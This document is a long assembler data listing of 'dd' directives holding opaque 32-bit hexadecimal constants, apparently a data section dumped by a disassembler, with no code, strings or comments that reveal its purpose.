dd 0E73333E9h, 0E077113Dh, 50F6BE3h, 6AE28F0Ch, 29E8E362h
dd 68D1CC40h, 60159918h, 4B07A0Eh, 0B0A09F64h, 0EF571A80h
dd 0FEC30385h, 75B9CDAFh, 0AB146817h, 9C433840h, 0F7EF1C5Bh
dd 0FE28002Bh, 0BB94DDECh, 1301E0B8h, 0E57EAE56h, 51C225EDh
dd 58180018h, 2AF3FB6Dh, 76D5A400h, 681555F6h, 8F901DAh
dd 340B77EEh, 13C3257h, 816779AEh, 60F22E9Dh, 95C7BB34h
dd 51F868A0h, 7C273DECh, 143796h, 0BAFA1CD8h, 0E001E26h
dd 0CEB4C5DAh, 94E999C1h, 56467618h, 0EFFFBE01h, 2AD96058h
dd 0E1EB1C40h, 934D61Bh, 853EF511h, 5029705Bh, 0A5182A71h
dd 0F5FD4F09h, 5C9C7254h, 5FBC548Eh, 8B5C008Ch, 0E3D3AD76h
dd 0BC4B6273h, 0F1DC3803h, 94D2DCD5h, 4A9C91D1h, 0F8653C4h
dd 0FC2CB768h, 2FBCA6A0h, 0A707FAEAh, 1DF1C0B4h, 0D4F30B05h
dd 0B030A8A2h, 3A6300ECh, 0D42AA2BDh, 0FA126E0Bh, 9C069D25h
dd 0A7A04960h, 676C447Ch, 15E0C170h, 0A449495Bh, 3ECA1080h
dd 37147747h, 0F058E3h, 0C1EF4CCh, 1813093h, 0DDE91A57h
dd 69C6B443h, 0C5510034h, 0A8C951Fh, 0F0BF3DBBh, 6AC0F700h
dd 14B685A9h, 7F1C2893h, 0E465BA9Fh, 5E9C9E84h, 9100CA46h
dd 332CFF7Dh, 48024A04h, 0F14089FBh, 42612064h, 0A64F15F4h
dd 0BC60F488h, 7C17273Ch, 0FA8E5091h, 26F071C0h, 0D415D249h
dd 0C9A070BCh, 5860DB29h, 0B000B55Dh, 3C5840Ch, 0EFBFFDE1h
dd 0F3056862h, 21E6DFCh, 90E9F2CCh, 4891C54h, 414892CAh
dd 10346638h, 27357411h, 3CAB0A3Bh, 417DD004h, 5A656AD2h
dd 7AE8C2F9h, 820804EAh, 1404D9A6h, 0B25F0070h, 452E344Ah
dd 0FEE50012h, 2C1E06C2h, 94BCD99Eh, 0F326BB80h, 4BC4863Eh
dd 2398CC99h, 0A3E15413h, 5C6E106h, 29B90031h, 3B6EE2A7h
dd 5D3F7824h, 0EBD58258h, 5E419FC9h, 0CE2D6278h, 0F041C64h
dd 5D1A9DCh, 4AECA882h, 717C51F4h, 303185Fh, 9D59492Eh
dd 9EEFAEC7h, 700964E6h, 3682F716h, 5CAD5405h, 7CCBE817h
dd 72C0CAC8h, 10BAFBh, 6DD7CE03h, 0F9DC3714h, 0EEF6B525h
dd 2D163E40h, 2961C0F0h, 8552F3F7h, 0FC353Ah, 278D436h
dd 6F25D32h, 79D9EE05h, 0CB9B0ABh, 7DD80686h, 0D9662419h
dd 73BB40CCh, 52F211FCh, 1F0D3805h, 80A863A5h, 0B33BD4C0h
dd 69006A8Fh, 0D5D6900Fh, 4C0E8238h, 0B010344Fh, 848A9230h
dd 86C050C8h, 0EEE69E27h, 33A21DA5h, 303A927Ah, 0A9847C98h
dd 8CC9F128h, 3F4461Fh, 0A54816FEh, 0F37BAC80h, 402A5267h
dd 67305AE2h, 0D2B44CD3h, 0C39EF10Bh, 0F96C451h, 4F1CFC20h
dd 78B800D5h, 0F06B6C4Bh, 0A95A9A60h, 10AFD498h, 587E05D5h
dd 71991AACh, 6004C48h, 0C5AB547Ch, 0C64FD0DFh, 8F0A4090h
dd 109A06F0h, 79550F11h, 0BFDE020Eh, 33692045h, 0F5BB25h
dd 0F7D570C0h, 4F6C1F2Dh, 0C0B3AA27h, 206D5650h, 110B5D39h
dd 29FA0BCAh, 964D81Ch, 706F4156h, 142768F0h, 0C274CA60h
dd 0A5040E48h, 48C2FB9Eh, 8BEA202Ch, 59EEC452h, 5663DD00h
dd 0E7937944h, 89481246h, 0ED4F25Dh, 0E0490E61h, 20FC1582h
dd 0BDC70925h, 0A89D1941h, 19805A11h, 0EF48866h, 86D00601h
dd 0A84F08BBh, 77807022h, 0CAE0E903h, 7C20C14Bh, 4AB86DF9h
dd 0E2A83430h, 3154B2F8h, 0F5C87189h, 0B856EECBh, 90217C28h
dd 9C951152h, 0DC152342h, 10663190h, 0CE236B18h, 1FA9E7A4h
dd 28FCB003h, 20DAA14Fh, 7479EBC2h, 0BD0814DCh, 0A8B72D59h
dd 2EDCA200h, 1D7BAEF9h, 7E86FFB5h, 0F145FB93h, 7875D4ECh
dd 3508019Dh, 803316B2h, 3D30CFA2h, 67B863h, 258DCD8h
dd 0FA40C17Bh, 0CC06C24Bh, 31C9D9h, 780C9F74h, 90CD5A1Ah
dd 909F96F8h, 1248BF28h, 6EB08h, 0BAB18E08h, 0CE0037C7h
dd 4ADDEAF8h, 0B188786h, 8249E1F5h, 0AAE4F845h, 5F4BD067h
dd 3B586CA2h, 0E0216E9h, 46C06432h, 0B0B7E438h, 5C98B63Ch
dd 38022B46h, 1C4DF965h, 0C20058F8h, 0E1F0534h, 3449DBA0h
dd 0C1E9C1D0h, 1564140h, 2C244AAEh, 159D00B6h, 448E6F0Bh
dd 1D0404B8h, 0F1D8BBE6h, 80E29895h, 0E33023F2h, 88B30103h
dd 891D31AFh, 442F2F2h, 945AEE89h, 8C06D4Bh, 4BCD4844h
dd 23082FB7h, 0EDB00ABh, 0E089F515h, 4DCACB1Dh, 643E9998h
dd 0C35C1661h, 7F00805Dh, 0FBEE946Ch, 0FC2ACB26h, 0F65465Eh
dd 43E9DB46h, 2F4974BAh, 7C375FC9h, 0A16DCF00h, 31980F16h
dd 9B6953A8h, 0A68EC7Ch, 7B34F603h, 0B89C6B20h, 9EB3BE0h
dd 2DF9CA55h, 48E928A1h, 0BCB47C5Ah, 24008C59h, 0E262BC3Dh
dd 9F7B6Ch, 0F0EB0B25h, 55F8019Ch, 0E1C720F6h, 0F7AF31A9h
dd 0AC283029h, 3C8C24BCh, 40C63B3h, 0E192DC9h, 9A8C7854h
dd 770FE801h, 29A967FBh, 65C6E080h, 0DBD11D46h, 126C4B48h
dd 18C0D986h, 6C608A5h, 0E885F9BFh, 894982Eh, 60C2FB67h
dd 23B84558h, 4C978D8h, 0D8DC401h, 79D8492Fh, 4FB0016Ah
dd 3871452Dh, 0C010C814h, 0AF1CC0EBh, 882CEA4Fh, 0C09338B1h
dd 7DA3DA00h, 3FADFFC4h, 36A96219h, 0A6F3968h, 562C88D0h
dd 11012B46h, 0E475F80Ah, 103C394Fh, 8E27D14Dh, 0E8007C64h
dd 2729CB35h, 0F08DE3h, 289D4185h, 3178BEE4h, 0C0DAC5Ch
dd 6132BC0Fh, 1E7472h, 95874D91h, 662006D9h, 0F704600h
dd 0E174CA17h, 0E5AC0C8Ah, 7F10309Eh, 38B0A4F4h, 347DF120h
dd 0C1D153AEh, 7B0451C1h, 30E2A44Fh, 21CB6A09h, 0BE28A4D8h
dd 0FB09FC4Eh, 5250846Dh, 0D9DD2140h, 465C8426h, 0BB6300ABh
dd 0B01AF53Dh, 0A45B5C05h, 0C5FF00D2h, 0B6A51E6h, 0A763AB00h
dd 0ECF2B19Bh, 12702C0Ah, 0FDDE0375h, 0B15DFC55h, 0D2B828h
dd 0C43FE336h, 7CCA467h, 0DDED0E17h, 7AAFB409h, 25FB71D8h
dd 0A890661Bh, 9C0AA311h, 89B02DA2h, 0E0A44803h, 18E2FCF0h
dd 0A4305AF2h, 6DD20756h, 21A94108h, 7A55D9EEh, 0FA2D0004h
dd 0CE43CA5h, 511C1FBFh, 0F4F81313h, 0EC026278h, 54BA7BA4h
dd 48384B2Ah, 994E2042h, 0F56420D0h, 848C265Ch, 5E047514h
dd 9EC4B8A9h, 0EE292DBBh, 2F934EC4h, 0CF23ECh, 8E0B9B6Bh
dd 0D32542B5h, 0F66403B0h, 44714C63h, 7133A60Fh, 0E9EBCA80h
dd 0B51B0Bh, 57274ADCh, 0A9CB12DFh, 0F94A0D5h, 0F9E7E8B1h
dd 1BE0C3h, 0D5230D18h, 113D6BD0h, 4EFCE890h, 71DC9184h
dd 2F821824h, 8E64DDFh, 0B8FBB501h, 0CAE1A35Ch, 4D469880h
dd 1EE08D6Ch, 0E30EEEF2h, 3D7A78ECh, 6CB663D3h, 5F9EB5E0h
dd 0C5C1F00Ch, 0A0677865h, 804930D0h, 0CD784F2Dh, 549D7D5Eh
dd 23042F7Bh, 0BFB2005Fh, 764BC2DEh, 7C61BE03h, 0FD281ABh
dd 386A79E0h, 9F347898h, 7C6A3C9Ch, 1654674h, 0F7ACFFEh
dd 7C682B90h, 48C5BB8h
dd 1240F01Ah, 41B0C343h, 34C70BE2h, 2761AA64h, 0B3BBC0AFh
dd 6D332509h, 0EB4C0EF6h, 46084E3Ah, 239C0294h, 4788DC16h
dd 641500F0h, 0E0F43423h, 0C9036BE0h, 0F91F6CF3h, 5D48223Dh
dd 4B001DEEh, 0A25E24B6h, 6BE86Dh, 351EDD0Ch, 63C46C7Eh
dd 5140409Ch, 5297F2Eh, 17A92310h, 4864BD61h, 0E4204FF8h
dd 130E056h, 0CBE35A4Dh, 2F6F408Ah, 0DF3CB414h, 6C18DB0Ah
dd 68465Ch, 24F72ED9h, 283F86F6h, 0EE68AEECh, 1B2F002Ah
dd 697296B3h, 250BF41Ch, 0D380C27Ch, 2E11C4h, 86522532h
dd 0F9083Dh, 4B1B7CFh, 0EEEAE406h, 1F2DD117h, 8B5BB8B7h
dd 0C7D8C844h, 7E47403Ah, 0BA4867EDh, 0C8872DE8h, 5B2D23D0h
dd 28EC89E1h, 8C57ECF4h, 0C9903D0Bh, 51C04CEh, 7B03A640h
dd 0CC3B6962h, 6B9180B6h, 2C1D9830h, 31E527AFh, 3C7CE842h
dd 2CC703DCh, 0BDF81C36h, 282713B1h, 2D26821Ch, 0E860C4E3h
dd 302095D4h, 7C5DF5AFh, 63C2980h, 0AB2703C0h, 630F2175h
dd 0E095FDA0h, 0D0A7ED83h, 80E4BEC6h, 0E1994CDDh, 0D16C985h
dd 70810BEFh, 41D5EE4Ah, 0A90D4836h, 7AE17DCDh, 0FCF68474h
dd 0EA983EA3h, 0F4C3C9F9h, 5A5CDE07h, 0D6948821h, 0E82BA000h
dd 7A1F917Ch, 0DC471C0Bh, 172280F8h, 2C664134h, 4DFDA909h
dd 0B924467Dh, 182359B0h, 0C0D15CA0h, 0DF9B0607h, 7FDC21CDh
dd 4437B80h, 0E561CB42h, 0AC1798EDh, 0C85C8E24h, 540AC059h
dd 9512B672h, 3030B3FEh, 1ED0DBC4h, 0EEFB32E4h, 45BF0109h
dd 639788F2h, 0CEA31DE4h, 0C0A9C4C9h, 0FE5B02C4h, 32F02D0Fh
dd 990514E0h, 44921624h, 0CC4674h, 0F2A9FADh, 4BDC6A60h
dd 0B210745Eh, 30A8F2ECh, 8300B507h, 1B746552h, 28F52F23h
dd 1DDC7F11h, 9A5D89BBh, 0C0D1AC6Ch, 6101342Bh, 2C1475FBh
dd 212E9097h, 450D50Ch, 70088A2h, 0B7F492CEh, 33F4152Dh
dd 9EA6BB16h, 0CAEC7804h, 0AC0CF824h, 6A398C5Bh, 7579751h
dd 5E11D009h, 2FE0038h, 562CFD35h, 7F662E06h, 0B394181h
dd 1AD113C9h, 5C58487Bh, 0C6780421h, 88D50735h, 36006068h
dd 0DEFD5E0Ah, 9E09E8B7h, 6CF70038h, 53CEF7Ch, 459B4825h
dd 80B1EEBCh, 703C3F72h, 6CE93EA0h, 0ACD8F08Dh, 0C206F60h
dd 0BBBADDh, 62A4FD50h, 99D9DB31h, 79B84958h, 85E5A912h
dd 0C0302CE1h, 0AECF2733h, 91BD14E4h, 0A420FABCh, 34A2008Dh
dd 497ADE6h, 91C274CBh, 0D151E89Fh, 185A79F8h, 45830053h
dd 0F959F66Eh, 35001021h, 6F4937A9h, 19C8971Ah, 0D8182F09h
dd 81B0299Dh, 0CDC89C1h, 0B474C412h, 24B72Fh, 9F9E54A6h
dd 0B300AFE9h, 3BB2747Fh, 0B54B25E4h, 0C8F90809h, 64ECC52Fh
dd 8C2C60D9h, 0EF130574h, 0BD170848h, 71E50800h, 0D84E0740h
dd 44525B15h, 956BB120h, 0CA914C97h, 0B1BFAD80h, 0E100039Fh
dd 0B6FD2A8Ah, 29E5F5C8h, 0D12C5739h, 3218D8h, 0F73920A9h
dd 61CA09FDh, 0C8AC6A29h, 0FEF84425h, 35CC1F55h, 0B7DC07BAh
dd 50F05161h, 0F52C7463h, 6F9E8302h, 0A0727E64h, 0DB98B2C4h
dd 2CFC48E3h, 2C0E2980h, 0A9783042h, 53DBCBAh, 4061BC12h
dd 828627EBh, 14C108A9h, 6800D254h, 638F699h, 0B4504A25h
dd 580119A3h, 0E849C13Dh, 9084AA71h, 0BA812D77h, 0C166700Bh
dd 0C989CC95h, 44AEC075h, 0FBECA98Eh, 0ED03F618h, 0E3D61AEBh
dd 20A8E4D9h, 0C13F4900h, 3C7176BEh, 0EDEC9300h, 0B56F59FFh
dd 18C07EAFh, 580A6EF4h, 0E8071185h, 0ED6A3FA5h, 0D6C7A914h
dd 79ACBBB2h, 182579B0h, 46543C18h, 19BFBC1Ah, 0AC7B4C51h
dd 50D8860h, 3E6EE801h, 33BC60C1h, 0A6022180h, 0F86CCF2h
dd 0EC58B200h, 0D276C616h, 238116B7h, 34F4013Eh, 2E497F57h
dd 28BC9C46h, 97C8E941h, 0F771E2h, 0AB28CA9h, 0AC3B86DAh
dd 9386B01h, 5DC27075h, 0E0C4272Ah, 0A3977F34h, 12FEC124h
dd 7E31093Eh, 432446BDh, 34CA08FFh, 0A8465E5Bh, 0C8FD6400h
dd 8D4BC5EAh, 0CDF7CE04h, 0C805159h, 9F2F4801h, 7A9F839h
dd 0C69073Bh, 0B8DC902Ch, 41274100h, 6A988A84h, 8A66C86Ch
dd 3F23201Ch, 0FB5E0B97h, 0AE00885Ah, 304DF97Eh, 905DC847h
dd 7C245222h, 65821E02h, 94F944F9h, 8216A161h, 304FB30h
dd 61093D0Eh, 1AB2AFBBh, 0CBE41065h, 0E0162060h, 0AF247704h
dd 0B0F854FAh, 0C8CB3780h, 0B227B3F9h, 0EEA67025h, 52030E5Eh
dd 950082D5h, 0B98DCC9Ah, 6690E21Fh, 8121A940h, 4D647C6h
dd 65093B49h, 6C3EBE01h, 5801CD23h, 7C5CF048h, 0D12702Dh
dd 0B258E351h, 0B94F30D9h, 7D59C300h, 0E90AD41Fh, 0C2D34E0Dh
dd 6464C16Ch, 77712D00h, 18EFFB2Bh, 0BE9E0019h, 4D7F0D0Ch
dd 9C283972h, 0B797B8FEh, 8ECF0BE4h, 3D8AC0A0h, 6D95557Bh
dd 0C8F5C014h, 2D1205C1h, 0D4B80EF1h, 0E52CC0DCh, 0E613D19Ch
dd 0BB6C583Ah, 8A24B50h, 2E17BE01h, 73519698h, 3066A2D8h
dd 0BA5B18E8h, 0DCF71C80h, 4DAF1819h, 7C0E1007h, 5BD3FCA8h
dd 6C00CFE0h, 8A753198h, 27A2A70h, 0A1CE17A4h, 7C51E81Dh
dd 818ADD9h, 8AE3EC00h, 0D0B26912h, 85363A4Dh, 0AC297C15h
dd 0C1A8DA4Fh, 830F5BCDh, 0D68856EEh, 301D1E00h, 0DDD049C4h
dd 1058B279h, 573F5CDh, 0AAEDD8B4h, 408D28C8h, 994EAE6Ch
dd 10AB3C09h, 0BE16344h, 0A5E9D5E5h, 27355060h, 36C5182h
dd 87B1D1F6h, 0D8C12198h, 4680E900h, 0F9D46E03h, 3884971Dh
dd 0D64E83Eh, 618DBF7Fh, 55AC052Bh, 50FCF878h, 0FE3CBA88h
dd 93E19BCCh, 2F285BB8h, 6C2320h, 0DDF02609h, 2D00698Fh
dd 194AB6CFh, 0D6F6B27Eh, 0FFC6F81h, 40BE851Fh, 0FBFD3ACDh
dd 2AFC256Dh, 0C079BCF2h, 45D70C44h, 0BCA42C4Ah, 0F0028C25h
dd 5FD27E12h, 1500F2A8h, 987475FBh, 318FBC18h, 59742DAFh
dd 0DAFCE4A0h, 403BD624h, 110A3820h, 0F47FFDF5h, 0EDD1139Ah
dd 63E1C0C0h, 0E5016792h, 1F78AE19h, 91CEA60Eh, 7C4E763Ch
dd 0E9C02BC8h, 0EBB6FB14h, 0B6063320h, 5746761Ch, 0F85E4004h
dd 0AB008051h, 0F0017D4h, 4703CEB6h, 0B58E9A85h, 0E180D435h
dd 8A6BA346h, 0DF3D1D1Ah, 6A1982BCh, 60702BF4h, 39D5AF0Ah
dd 23BB85Bh, 0BD7F7882h, 4570E42Ch, 0D4E6FC7Ah, 9EE25700h
dd 0F63BB0Eh, 0A84C964Dh, 10D12D90h, 2EA274C3h, 8E0D1F00h
dd 1B0A373Ch, 839FE10h, 0A05FFE03h, 6FAE66A8h, 0EC37295h
dd 4151F7A6h, 0DD68CB53h, 0A95A02E3h, 74C999D5h, 0F9DCC09Eh
dd 0F0B0D14Bh, 0E0304CC4h, 2C8C65E8h, 0F632E5h, 0C28BBC74h
dd 409CA31h, 0F19B6F7Eh, 18247938h, 0C7961FAAh, 826930A9h
dd 8512CABDh, 0A024F90Fh, 54BC10FCh, 1DF2008Ch, 3437CA49h
dd 7825BDC1h, 0BA183558h, 0FC156000h, 0CC21CF33h, 92375A09h
dd 58E8D32Bh, 3500752Dh, 0DD66AD7Ch, 2F677B2h, 6A2E848Eh
dd 0B5755B1Eh, 4BEA8078h, 0D83AC2E7h, 9FB4AA0Bh, 84C4E6h
dd 8922A769h, 3CD0082Ch, 3E3FD700h, 0D3A1CD7Fh, 295660A9h
dd 3753B925h, 7B55BA04h, 0E4BCD211h, 268C25BCh, 0E7396E2h
dd 6782FD35h, 28C4C1CEh, 0E09A1090h, 4C0405F7h, 74A4F15Eh
dd 0B6861C93h, 7A9704D4h, 0B254859Ch, 3159F2A4h, 0E008CD4Ah
dd 5C4CA7BDh, 282C10C0h, 0F98DB702h, 18D8F46Dh, 7F548F02h
dd 705280h, 0FDA4E2D4h, 20F9BFE4h, 80B60C6Ch, 0D2282F80h
dd 0EAA7EAFh, 4950FBC7h, 4736B760h, 48E4587Fh, 2DF422B7h
dd 41B4D4F8h, 5418CB2h, 554B481Fh, 940820B8h, 124E650Ch
dd 0EC1BF1D0h, 32305550h
dd 3059F2A0h, 0E6FEFC25h, 0AC7C8404h, 2C80ABFBh, 0BF884270h
dd 0BD1B7485h, 5B874h, 3F8C82E6h, 0AD9F5BF2h, 0F362C300h
dd 991BB849h, 0B1AE1040h, 48C92D06h, 160E0480h, 0A0C1E207h
dd 7A06A220h, 1ABF7E1Fh, 8FB90380h, 0E421C72Bh, 0C5C068A3h
dd 510135C2h, 0B554D662h, 898EE7Ah, 0DABA21F1h, 50CE3500h
dd 318F0B40h, 0ADA80608h, 98EFA92Ah, 3D922D00h, 4668F032h
dd 0E539C00Dh, 0B7F8CB4Bh, 95249CFEh, 83396F9h, 0EE210E1Ch
dd 0F641F8C3h, 0E962B16Dh, 5000F3A3h, 14FEF922h, 80FAD1F4h
dd 2C6566BCh, 83039239h, 0D072D3FCh, 35F754Eh, 0B32FB41h
dd 1818F44Dh, 1689CA21h, 1C8A00A2h, 13EE4CB0h, 0D37E7FF1h
dd 0E4373900h, 41AA8E42h, 223800FEh, 0F1BC4B7Ch, 64A44868h
dd 0BDF8CD04h, 362CC92h, 0F8C5E820h, 1430302h, 798D45E1h
dd 652B1800h, 0AC0E2130h, 0A5C300ABh, 461BC531h, 0C7061697h
dd 0FBB50B92h, 24E028B0h, 24946A0h, 92B2F8C0h, 100231B4h
dd 1F8B8EBh, 0D25DAEA8h, 0ED6BFD01h, 7B9851EDh, 95F11223h
dd 8301912Ch, 0AB9A1EA6h, 0E1EF9BD2h, 0B4506566h, 0E367FD9h
dd 0B3B03A2Eh, 0F15A7246h, 0FECBF700h, 6CA08158h, 189D7C6Ah
dd 217473B5h, 241E5148h, 0D946FFC2h, 6009F72Fh, 49A8218Bh
dd 58002324h, 9BE17612h, 3E5E38B4h, 93033F2Ah, 0E656E040h
dd 0F26C8905h, 0A016D5B1h, 0C90CA6E8h, 64E9E021h, 0A659C8EBh
dd 55C0AB01h, 725BFC1Dh, 30A42CF4h, 0D429E222h, 24009BF6h
dd 61860F6Dh, 9FDC718h, 0C52B8CF8h, 35C09430h, 0C6624F11h
dd 0A480CB88h, 7BA635D8h, 6C780162h, 9DEBA517h, 0C9A08AEDh
dd 7E88CCF9h, 790B823Ah, 8820E73Fh, 14C3FDC4h, 1CF2649Bh
dd 0D9E55F02h, 9081B710h, 0CCBF9968h, 890602CDh, 0B93A744Fh
dd 21836308h, 6A98B777h, 6429C384h, 0DB1124E2h, 0CF62BD8Eh
dd 8D31B902h, 0CCB57911h, 7A00AF3Bh, 4331ECB1h, 14E7D53Ch
dd 0C05EDEAEh, 9D026405h, 23301FE2h, 0CAC4B61Ch, 8E628102h
dd 60A68E29h, 298208F9h, 624C00A7h, 853E88FEh, 0F5340390h
dd 960058CAh, 0DC6918B5h, 6C79000Ah, 0B0E09A12h, 86063F8Bh
dd 5052AE02h, 0FA630190h, 0BC5FD20Dh, 2F33F4B3h, 66102B00h
dd 8FA46B91h, 63F91DFDh, 6995381h, 91B41D34h, 86C2B906h
dd 7818963Fh, 5CB7499Eh, 0C0244F80h, 448C44FFh, 472CB682h
dd 26079D24h, 497C9EFAh, 8E3512FBh, 0E0940219h, 922775AAh
dd 1F9A1C00h, 7F81C0BAh, 0AB866DFEh, 313B8200h, 6F756413h
dd 0DB9102E9h, 97E047B8h, 6B924881h, 0EA79D431h, 0CEC48A01h
dd 7C8D7551h, 0C480D112h, 72A59834h, 64F3ED02h, 0C79E2669h
dd 60FC6400h, 2647991h, 0EA4F563h, 2C675F55h, 22601E64h
dd 3005FD92h, 0C364A966h, 8CF5940Fh, 8C4350FFh, 0B011CA7Ch
dd 688A492h, 0F8C2ED80h, 3C50EA20h, 0CA80C128h, 0F717C07Dh
dd 330C53F2h, 0B29B4C34h, 0BB50F80h, 0EC8029FEh, 0AB6D408h
dd 0D9B4FF03h, 0DC1DEB32h, 88916489h, 0F8C98044h, 8CAC92B1h
dd 0EC1F44h, 0DF2F8C1h, 513623F7h, 0E02B7C98h, 1509F893h
dd 0CC980467h, 22763E00h, 0FB267F0Fh, 0DCFCF1h, 0A1052DE7h
dd 21975BD4h, 86B988h, 4B75B546h, 20311D6h, 3C1A44h, 22A6F0A8h
dd 2CD4C01Dh, 0C2DC760Eh, 6A704073h, 92BD1FDDh, 9ECB0E48h
dd 62EBBF3Dh, 8888D80h, 28013270h, 2FFD0D9Ah, 0E8BE5B10h
dd 4C8094C9h, 0ACFFC724h, 0B18C448Ch, 5B244402h, 0E0646C56h
dd 0B049BF1Ch, 303A0085h, 7E2BE688h, 0E8908D55h, 9399A883h
dd 1F3E2098h, 0BC6381F6h, 2B81048h, 717A4EA9h, 0DC44C369h
dd 4E028E46h, 5CFFC124h, 0B3108331h, 0E8382446h, 765616A0h
dd 44922C4Eh, 0B80FC94Dh, 3669E83h, 5FA2EFB0h, 29146400h
dd 2F6C708Bh, 86F2587Eh, 3A7C7B0Fh, 6D840C03h, 8C0010E6h
dd 0D70ABA87h, 33705773h, 48086BEFh, 0BA3E2160h, 7302667h
dd 393709B9h, 0C2D50004h, 68C05883h, 0D7027C61h, 7080E979h
dd 85AD365Bh, 700C01C4h, 831FC2Bh, 3921C047h, 0FBCEAD0Eh
dd 99C99C78h, 64738136h, 64713085h, 650A28BEh, 0FD84ADBh
dd 0B20AC56h, 7C757480h, 9AB591Bh, 1F802351h, 86AD3501h
dd 501839C4h, 70D3C88h, 0B7AF37ADh, 0E36AB01Ah, 8706C06Eh
dd 5E3ADBFAh, 28D62A70h, 2034630h, 0C482AD09h, 10483119h
dd 1AD0138h, 99FD300Bh, 0F0A6736Bh, 866F7E8h, 7CE17DC1h
dd 0E37A3706h, 0B5C8039h, 0E53A0FECh, 0FD778C38h, 0C0760810h
dd 0EC033121h, 470104E4h, 0F498224Bh, 844F0CD6h, 1C152C8h
dd 72F4AA8Ch, 85AC0020h, 7F2D302Eh, 0B30A7577h, 888780D3h
dd 6C3A082Ah, 0B4010C55h, 30F112Ch, 0B60BBF10h, 0AE89501Eh
dd 38089836h, 86A21h, 5E7D20BFh, 0A7A2D52Eh, 0FC1C20F9h
dd 0BEEC9802h, 46DB16A6h, 24427E28h, 806839F3h, 0A9EBEE0Ch
dd 57E4C1E0h, 4107B230h, 0C885F815h, 11C00E90h, 46B60ABFh
dd 3B2206h, 0FFBF096Dh, 0C24F2D49h, 71B9D912h, 80A92808h
dd 0E0A7E715h, 7450E2C7h, 0DC48E884h, 640D3A50h, 0E600370h
dd 0B62309BFh, 43116Eh, 0F6BF0668h, 10E4E03h, 897B044h
dd 15BDD60Bh, 5023A03Ah, 0BE805F1Ch, 0D37695A3h, 0AC8F0A6h
dd 0A2CEC3FAh, 7A9F00D8h, 73D9EF12h, 5FB6A401h, 1F4FFEC4h
dd 5EB0AC40h, 8422297Eh, 1845D1E8h, 52EB008Ah, 0A676553Dh
dd 0C631C3E5h, 74A57840h, 30066C52h, 813EAD0Ah, 0E09CC8C4h
dd 3AD0235h, 0D37ADFCCh, 500541DEh, 62FEC7B6h, 0ADE7C405h
dd 4523C03Ah, 0DCEFD200h, 986048h, 0AE4C021Ah, 662CAC80h
dd 0C3E76D1Eh, 4E704798h, 0B4BD1F0Dh, 0BFC1C52Bh, 36980035h
dd 6C0798D8h, 80D87849h, 0E50DEC09h, 42448C28h, 0EC010033h
dd 141DB1E9h, 0D319FA93h, 0BC684F76h, 24D22AE4h, 3C380B7Ch
dd 5E346026h, 0F0055046h, 723BD51h, 0B0A07E81h, 12E3E8CEh
dd 30684360h, 12A9EA26h, 3655FBAh, 4C7C2B9Ch, 0D7A42EE0h
dd 43C3AA18h, 0B7B1C18h, 6D94D9E9h, 600B1404h, 2335BA78h
dd 47116BD7h, 0BA7F2C00h, 0A30D535Bh, 0CB66B100h, 9AD51C6Bh
dd 4442408Bh, 2F503FE4h, 34984FA8h, 0A8819D7Dh, 33FAB8E3h
dd 0F38C9952h, 0F66760ACh, 3AEA042Ah, 903F1FD5h, 71E5AE70h
dd 1ED2E60Ah, 4B128CE7h, 8C01542Ch, 80AD0B04h, 546269C4h
dd 0AD033621h, 10584D4h, 0E4BC147Bh, 84A3F6EBh, 0B2B9B458h
dd 0ECC22080h, 7CB13059h, 91FD1B39h, 0FF788100h, 0FECFB629h
dd 1D80A158h, 549A3024h, 320A855h, 90604068h, 94806D2Dh
dd 4749527Ah, 10223D8h, 0B60EBF0Dh, 69070E66h, 0B365BF05h
dd 85FF73DDh, 22D0C508h, 80848778h, 0AD34611Ch, 8731C4F0h
dd 0AD0C3B03h, 6A45E163h, 0D98F6DFh, 6F13C330h, 9A6342C0h
dd 0FC0A51E2h, 2ADB0690h, 0A6297051h, 1D91BC75h, 84AD3780h
dd 448C09C4h, 0F033A45h, 48DBFEADh, 1D7AAB59h, 2B2FA19h
dd 5B3527B4h, 8757A880h, 4B6AF530h, 7F112891h, 12EC0480h
dd 448C10E5h, 1C013C74h, 5DCB3EECh, 0D4E4616Dh, 30A8A833h
dd 29736FC2h, 8C10D58Bh, 8A48FF49h, 309239Ch, 0D737BA86h
dd 204462BCh, 0FBA7D12h, 5E81BD0Bh, 0D790025Ah, 0FB7E0172h
dd 29BE52h, 50B2E4DCh, 0A0CFF730h, 8829DA40h, 2A011578h
dd 0EB0CB0F2h, 464DEC3h, 0E3FC0349h, 67E46093h, 0E95B3900h
dd 62D043AEh, 3BF80754h, 0DCE38431h, 12028D21h, 5992951Fh
dd 2158E0A8h
dd 0AFD300A0h, 0A0C7E1Eh, 0E4308109h, 0F02D314Ch, 98C13C05h
dd 0FCA16180h, 8142F109h, 0FA1DB800h, 0A221F84Fh, 0C8EF05BFh
dd 0EA632E0Ah, 115427C3h, 517D6C9h, 75C927B6h, 0B795E403h
dd 0F4194D23h, 0B42675BCh, 7E11DCBAh, 13EC429Eh, 241C18E5h
dd 0DE1F3Dh, 0B9B58F3Bh, 0FCB384E4h, 0CC7178h, 11C094D1h
dd 0AE03DB67h, 0E702BD05h, 0B0C1A60Ch, 3E007C0Ah, 5F521D1Eh
dd 3038E234h, 293F8ECBh, 0F0A0016Ah, 77AF59ABh, 0A62DF180h
dd 0E7B27AF1h, 0BCAEAC00h, 49B9222Eh, 14EB58FDh, 0CC21FF89h
dd 54A2F830h, 3A988184h, 0F7E0004Fh, 0CC54515Eh, 41A2D023h
dd 7D9E30h, 5A53DE9h, 0EFC2496Dh, 0AB9AA925h, 91B49758h
dd 1D1B8045h, 30A2D718h, 0FC487453h, 6616F583h, 7C6563CEh
dd 5288488Eh, 5AFE33C1h, 0AA16330h, 3ABFABA8h, 80791180h
dd 0E50CEC0Eh, 48448C20h, 0EC060032h, 0C0DD09DEh, 0D50E948Ah
dd 471DDAC7h, 657014D1h, 12FF1C83h, 807AB6EBh, 74F07EB8h
dd 59009096h, 0EBFCEDA0h, 1077549Ah, 3C418A44h, 885180Ah
dd 83D734BAh, 2D4E43C4h, 7964BA47h, 371010A0h, 0D759C6EEh
dd 65064D0h, 8BA8160h, 0C563D721h, 1310C011h, 0BB76341Ah
dd 7AF4D012h, 300DDC22h, 716BF14h, 58383EB6h, 0BF0C006Eh
dd 231D2E38h, 69480ABAh, 7E5A1044h, 0FDFFB204h, 0EC8B241Eh
dd 0A7C04188h, 0B9B65991h, 88FC0000h, 0AE532730h, 892AE434h
dd 3988B4CEh, 0C80125CAh, 0AA9EDBFAh, 92DC034h, 9BE07815h
dd 0C63A449Dh, 0D6F9DC03h, 0C1B09BCDh, 0D7FA1A8Ah, 7AA754A0h
